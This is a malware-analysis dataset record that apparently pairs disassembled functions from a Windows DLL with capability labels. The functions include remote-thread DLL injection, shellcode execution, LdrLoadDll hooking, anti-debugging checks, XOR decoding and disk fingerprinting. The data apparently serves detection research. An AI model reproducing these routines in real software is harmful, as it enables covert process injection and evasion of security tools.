joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008f30
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10008f6c
mov eax, dword [ebp + 8]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008f73
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop esi
pop ebp
ret 4
push 0x10016de4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008f5e
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10008f5e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10008f66
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x1000a640
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea esi, [ebp - 0x408]
call fcn.10001460
lea eax, [ebp - 0x408]
push eax
lea esi, [ebx + 0x4ef4]
mov eax, str..DataCustomXenos_System.premium
call fcn.10001670
test al, al
je 0x1000a6b3
push 0
push 0x20
push 3
push 0
push 1
push connect
push str..DataCustomXenos_System.premium
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a6b3
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x4e48
je 0x1000a6c5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 0x40c]
push ecx
push 0x4e48
lea esi, [ebx + 4]
push esi
push edi
mov dword [ebp - 0x40c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000a6ac
mov eax, esi
mov ecx, 0x4e48
mov dl, byte [eax]
sub dl, 0xb
xor dl, 0x7d
mov byte [eax], dl
inc eax
dec ecx
jne 0x1000a6f3
call fcn.10007650
lea eax, [ebx + 0xf4]
call fcn.100076d0
lea eax, [ebx + 0x1abc]
call fcn.10007730
lea eax, [ebx + 0x3484]
call fcn.10007790
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10012916
mov esp, ebp
pop ebp
ret
Function at 0x1000a980
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
lea ebx, [edi + 0x4e4c]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000a9a3
sub eax, edx
cmp eax, 3
jb 0x1000aa7b
cmp dword [edi + 0x4e6c], 0
je 0x1000aa48
lea esi, [ebp - 0x408]
call fcn.10001460
mov eax, esi
push eax
lea esi, [ebp - 0x40c]
mov eax, ebx
call fcn.10001670
test al, al
jne 0x1000aa04
mov esi, 0x1013e260
call fcn.1000ef90
mov esi, 0x1013e388
call fcn.1000ef90
mov esi, 0x1013e4b0
call fcn.1000ef90
call fcn.1000f230
mov ecx, dword [edi + 0x4e6c]
cmp ecx, dword [ebp - 0x40c]
je 0x1000aa48
mov esi, 0x1013e260
call fcn.1000ef90
mov esi, 0x1013e388
call fcn.1000ef90
mov esi, 0x1013e4b0
call fcn.1000ef90
push 0x10
add edi, 0x46
push edi
push str.Launcher_not_found_or_invalid_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1000f230
push str.32770
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000aa74
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.1000f230
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012916
mov esp, ebp
pop ebp
ret
Function at 0x1000ada0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100135f8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x1001b018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1013e258]
cmp eax, 0x927c0
jb 0x1000ade3
call esi
mov dword [0x1013e258], eax
xor esi, esi
cmp dword [0x1013e244], esi
je 0x1000ae55
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edx, dword [0x1013e248]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.1000ab80
mov edi, dword [ebp - 0x20]
test al, al
je 0x1000ae3d
cmp edi, dword [ebp - 0x1c]
je 0x1000ae3d
lea ecx, [ebp - 0x20]
push ecx
call fcn.1000ae70
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000ae55
push edi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b350
Capabilities:
Check for time delay via gettickcount
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001394f
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
push ebx
push esi
mov eax, dword [0x1001b018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1013e258]
cmp eax, 0x927c0
jb 0x1000b396
call esi
mov dword [0x1013e258], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
push 0x14
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 4], ebx
call fcn.1000ab80
mov esi, dword [ebp - 0x1c]
test al, al
jne 0x1000b3de
cmp esi, dword [ebp - 0x18]
jne 0x1000b4c5
lea eax, [ebp - 0x1c]
push eax
call fcn.1000b560
cmp dword [0x1013e1b8], ebx
je 0x1000b4c5
push 0x32
lea ecx, [ebp - 0x1c]
push ecx
call fcn.1000ab80
lea edx, [ebp - 0xf0]
push edx
call fcn.1000b730
lea esi, [ebp - 0xd8]
mov byte [ebp - 4], 1
call fcn.1000c300
push ebx
test eax, eax
jne 0x1000b438
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax + 4]
push 2
lea ecx, [ebp + ecx - 0xf0]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
jmp 0x1000b44f
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx + 4]
push ebx
lea ecx, [ebp + ecx - 0xf0]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
push ebx
sub edx, esi
push edx
push esi
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0xf0]
push eax
call fcn.1000b7f0
push 2
push str.image.jpeg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.10002610
mov edx, dword [ebp - 0xf0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x34], ecx
mov dword [ebp + eax - 0xf0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 2
call fcn.1000b870
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x80]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp esi, ebx
je 0x1000b4dd
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013768
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x1000c592
cmp byte [ebx + 0x49], 0
je 0x1000c592
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x1000c586
lea esi, [ebp - 0x2c]
call fcn.1000c730
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x1000c473
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x1000c4ab
dec eax
je 0x1000c4af
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x1000c58d
call fcn.100030b0
xor al, al
jmp 0x1000c594
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x1000c4bf
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x1000c4ed
cmp edi, 0x10
jae 0x1000c4ce
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000c57e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x1000c58a
test esi, esi
jne 0x1000c467
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x1000c5af
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x1000c5af
cmp edi, esi
jae 0x1000c567
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.10002e50
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x1000c467
mov ecx, eax
cmp edi, 0x10
jae 0x1000c543
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x1000c55e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x1000c461
test esi, esi
jne 0x1000c539
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x1000c576
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x1000c461
lea esi, [ebp - 0x2c]
call fcn.100030b0
xor al, al
jmp 0x1000c594
lea esi, [ebp - 0x2c]
call fcn.100030b0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x1000c7d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x1013ef28
call esi
mov ecx, dword [ebp + 8]
push 0x100
add ecx, 5
push ecx
push 0x1013ef28
call sub.MSVCR100.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 0x100
push 0x1013ef28
call esi
push 0
push 0
push 0
push 0x1000c7b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x1000c840
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x100
push 0
push 0x101444c8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x1000c8b0
mov cl, byte [eax + 0x1001e028]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x101444c8], cl
inc eax
cmp eax, 0x100
jl 0x1000c8b0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push 0x100169b0
push 0x101444c8
push 0
mov ecx, 0x10139108
call fcn.10007130
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10012916
mov esp, ebp
pop ebp
ret
Function at 0x1000c930
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10017f90
push 0x10012e34
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x1001b018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14c], eax
push ecx
push str..PhysicalDrive_d
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x148], edi
cmp edi, 0xffffffff
je 0x1000cae2
xor eax, eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x134], esi
push esi
lea ecx, [ebp - 0x150]
push ecx
push 8
lea edx, [ebp - 0x140]
push edx
push 0xc
lea eax, [ebp - 0x138]
push eax
push 0x2d1400
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call ebx
test eax, eax
jne 0x1000ca14
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000cae2
mov ecx, dword [ebp - 0x13c]
push ecx
call fcn.10010898
mov esi, eax
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x13c]
push edx
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0x10
push 0
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
push esi
push 0xc
lea edx, [ebp - 0x138]
push edx
push 0x2d1400
push edi
call ebx
test eax, eax
jne 0x1000ca73
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
jmp 0x1000cae2
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000ca60
mov dword [ebp - 4], 0
add eax, esi
push eax
push 0x100
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x1000cae4
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret
Function at 0x1000ce80
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013a48
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
mov eax, dword [0x1001b018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov eax, dword fs:[0x30]
movzx ecx, byte ds:[eax + 2]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], ebx
je 0x1000cede
push ebx
push ebx
push 0xa
call fcn.10004760
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x20], vtable.CProcessQuery.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
push 2
push 0x23
lea esi, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.1000a570
test al, al
mov eax, dword [ebp - 0x1c]
je 0x1000cf37
cmp eax, ebx
je 0x1000cf4a
cmp byte [eax], bl
je 0x1000cf37
cmp byte [eax + 1], bl
jne 0x1000cf37
push ebx
push ebx
push 0xa
call fcn.10004760
add esp, 0xc
mov ecx, esi
call fcn.1000a530
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, ebx
je 0x1000cf4a
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000d4a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push str.LdrLoadDll
push str.Ntdll.dll
mov dword [ebp - 0xc], 0x304e25ff
mov word [ebp - 8], 0x501a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000d4d8
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x1013f028
call edi
mov ecx, dword [esi]
mov dword [0x1013f028], ecx
mov ecx, dword [ebp - 4]
mov dx, word [esi + 4]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push 0x1013f028
mov word [0x1013f02c], dx
call edi
lea edx, [ebp - 4]
push edx
push 0x40
push 6
push esi
call edi
mov eax, dword [ebp - 0xc]
mov cx, word [ebp - 8]
mov dword [esi], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 6
push esi
mov word [esi + 4], cx
call edi
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000d540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.LdrLoadDll
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000d569
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call edi
mov ecx, dword [0x1013f028]
mov dword [esi], ecx
mov ecx, dword [ebp - 4]
mov dx, word [0x1013f02c]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push esi
mov word [esi + 4], dx
call edi
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000d5b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
mov eax, dword [0x1001b018]
xor eax, esp
mov dword [esp + 0x420], eax
push ebx
push esi
push edi
lea esi, [esp + 0x28]
call fcn.10001460
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push 0xc
lea eax, [esp + 0x20]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
jne 0x1000d61c
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x420]
xor ecx, esp
call fcn.10012916
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + 0x3c]
xor ecx, ecx
cmp cx, word [eax + edx + 6]
jae 0x1000d691
mov ecx, dword [eax + edx + 0x104]
add ecx, edx
mov edx, dword [eax + edx + 0x100]
or eax, 0xffffffff
mov dword [esp + 0x10], edx
mov esi, ecx
test edx, edx
je 0x1000d66c
lea esp, [esp]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [esp + edi*4 + 0x28]
inc esi
dec edx
jne 0x1000d650
mov edx, dword [esp + 0x10]
not eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
call fcn.1000eb50
push eax
lea edi, [esp + 0x10]
call fcn.1000e3b0
mov ecx, dword [esp + 0x42c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov al, 1
call fcn.10012916
mov esp, ebp
pop ebp
ret
Function at 0x1000d6b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x408]
call fcn.10001460
mov edi, dword [0x10144150]
mov edx, dword [edi]
cmp edx, edi
je 0x1000d75c
lea ecx, [ecx]
mov ecx, dword [edx + 0x14]
mov esi, dword [edx + 0x10]
or eax, 0xffffffff
test ecx, ecx
je 0x1000d711
lea ecx, [ecx]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [ebp + edi*4 - 0x408]
inc esi
dec ecx
jne 0x1000d6f0
mov edi, dword [0x10144150]
not eax
cmp dword [edx + 0x18], eax
jne 0x1000d76f
cmp byte [edx + 0x1d], 0
jne 0x1000d758
mov eax, dword [edx + 8]
cmp byte [eax + 0x1d], 0
jne 0x1000d73d
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
jne 0x1000d758
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
je 0x1000d731
jmp 0x1000d758
mov eax, dword [edx + 4]
cmp byte [eax + 0x1d], 0
jne 0x1000d756
cmp edx, dword [eax + 8]
jne 0x1000d756
mov edx, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0x1d], 0
je 0x1000d746
mov edx, eax
cmp edx, edi
jne 0x1000d6e0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10012916
mov esp, ebp
pop ebp
ret

Function at 0x1000f1b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp byte [0x10144164], 0
push esi
je 0x1000f220
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10144168]
cmp eax, 0x1388
jbe 0x1000f220
push 0x10144194
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x1000f220
call fcn.10001410
call esi
mov dword [0x10144168], eax
test eax, eax
je 0x1000f215
call fcn.1000f100
test al, al
jne 0x1000f215
push 0x1388
xor ecx, ecx
call fcn.10007890
push eax
push 2
mov eax, 0x1013e4b0
call fcn.1000f660
add esp, 0xc
pop esi
ret
push 0x10144194
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
ret

Function at 0x1000f290
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, ebx
jae 0x1000f2c2
jmp 0x1000f2b0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, ebx
jb 0x1000f2b0
pop edi
xor al, al
pop esi
pop ebp
ret